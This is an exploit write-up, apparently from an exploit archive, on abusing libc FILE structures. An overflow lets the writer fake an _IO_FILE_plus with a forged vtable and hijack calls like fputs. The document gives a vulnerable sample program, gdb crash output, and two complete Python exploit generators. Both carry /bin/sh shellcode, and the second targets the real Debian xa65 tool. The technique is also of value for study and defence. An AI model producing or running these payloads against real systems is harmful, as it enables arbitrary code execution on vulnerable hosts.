# # # # ### # ## ##### exploiting the f* functions ############ (a.k.a. abusing file-streams in libc) ###### ## # ## # general information ------------------- bug type : arbitrary code execution software name : EGLIBC version : 2.15 or greater vendor : EGLIBC Consortium vendor homepage : www.eglibc.org software link : www.eglibc.org/repository tested on : Debian Wheezy/Jessie/Sid, Arch Linux authors : proudhon & Ubik date : 2013-12-30 description : The C programming language provides many standard library functions for file input and output. C abstracts all file operations into operations on streams of bytes. disclaimer --------- all the information and code given in this document is provided "as is", for educational purposes only. the authors will not be responsible for any damage. technical information --------------------- Have you ever wonder how to exploit this program: //fputz.c #include <stdio.h> #include <string.h> #include <stdlib.h> static char out[512]; static FILE *fp; int main(int argc, char **argv) { fp = stdout; strcpy(out, argv[1]); fputs(out, fp); exit(0); } //EOF If the binary is not fortified, an overflow is available as we can see: $ gdb --args ./fputz $(python -c 'print "A"*1000') ... Program received signal SIGSEGV, Segmentation fault. __GI__IO_fputs (str=0x804a040 'A' <repeats 200 times>..., fp=0x41414141) at How we can take advantage of the internal structure of the FILE objects from libc to execute code? Well, first, we should redirect the fp pointer to controllable memory. The perfect candidate for this is the 'out' buffer, since its address is constant and we can fill it with plenty of (non-NULL) bytes. --------------------------- v | [ out ] [ *fp ] The second step requires us to check the FILE internals, to find out how we can take advantage of FILE object. If we take a look to the libioP.h header, we can find some juicy information on the internals of FILE, implemented using: struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; The vtable pointer is just what we need! This is not a new idea. Some work was previously done on this by Kees Cook at: http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ Our plan to execute arbitrary code is to provide a pointer to a fake vtable. But.. where we can store this vtable? Again, The perfect candidate for this is the 'out' buffer. ---------------------- v | [ fake _IO_FILE? | *vtable ] Obviously, this won't work if we don't define carefully the malicious _IO_FILE_plus since the program will crash looking for pointer or enter in deadlock. To avoid trouble, we should define the FILE flags with a value that disables any lock operation on the FILE. Using gdb we can see that the function _IO_flockfile is executed right before the vtable pointer is read from memory. Such function checks the higher bit of the lower word of the _flags field of IO_FILE. If the bit is set, then the file will not be locked, as we can see here: #define _IO_USER_LOCK 0x8000 ... if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp) Finally, we control the bytes of the vtable the f* functions will use, so it's time for the code execution!. Of course, we shouldn't forget the usual protections as PAX, that we will disable since they are not related with this simple technique to exploit FILE objects. The final exploit can be generated using the following python script: #!/usr/bin/env python2 import sys base = "\x08\x04\xa0" offset = 0x40 # fp: pointer to the beginning of the buffer ptr = (base + chr(offset))[::-1] # vtable: pointer to the address pointing to the shell-code ptr2 = (base + chr(offset - 0x18))[::-1] # pointer to the beginning of the shell-code ptr3 = (base + chr(offset + 0x08))[::-1] # non-null byte to pad c = "\x01" # _IO_FILE flags to avoid deadlocks fl = c+"\x80" # shell-code from http://packetstormsecurity.com/files/89203/ sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\ "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80" exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 359 + ptr print exp, # EOF "real-life" example ------------------- Inside the xa65 package in Debian Wheezy/Jessie/Sid there is a small command line tool called xa, a cross-assembler for 65xx/R65C02/65816, that we know that is buggy: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716483 so if we play a little with it: $ gdb --args xa $(python -c 'print "A"*3000') ... Couldn't open source file 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Program received signal SIGSEGV, Segmentation fault. __GI__IO_fputs (str=0x8058440 "Couldn't open source file '", 'A' <repeats 173 times>..., fp=0x41414141) at iofputs.c:40 We can follow the same technique explained before to recreate our malicious _IO_FILE_plus and to execute code. The final exploit is presented here: #!/usr/bin/env python2 import sys base = "\x08\x05\x84" offset = 0x5b # fp: pointer to the beginning of the buffer ptr = (base + chr(offset))[::-1] # vtable: pointer to the address pointing to the shell-code ptr2 = (base + chr(offset - 0x18))[::-1] # pointer to the beginning of the shell-code ptr3 = (base + chr(offset + 0x08))[::-1] # non-null byte to pad c = "\x01" # _IO_FILE flags to avoid deadlocks fl = c + "\xa0" # shell-code from http://packetstormsecurity.com/files/89203 sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\ "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80" exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 1880 + ptr print exp, # EOF acknowledgements ---------------- To guille for his help looking the libc source and to the Debian developers for their highly inconsistent policy of compilation of packages with FORTIFY_SOURCE.
morek3333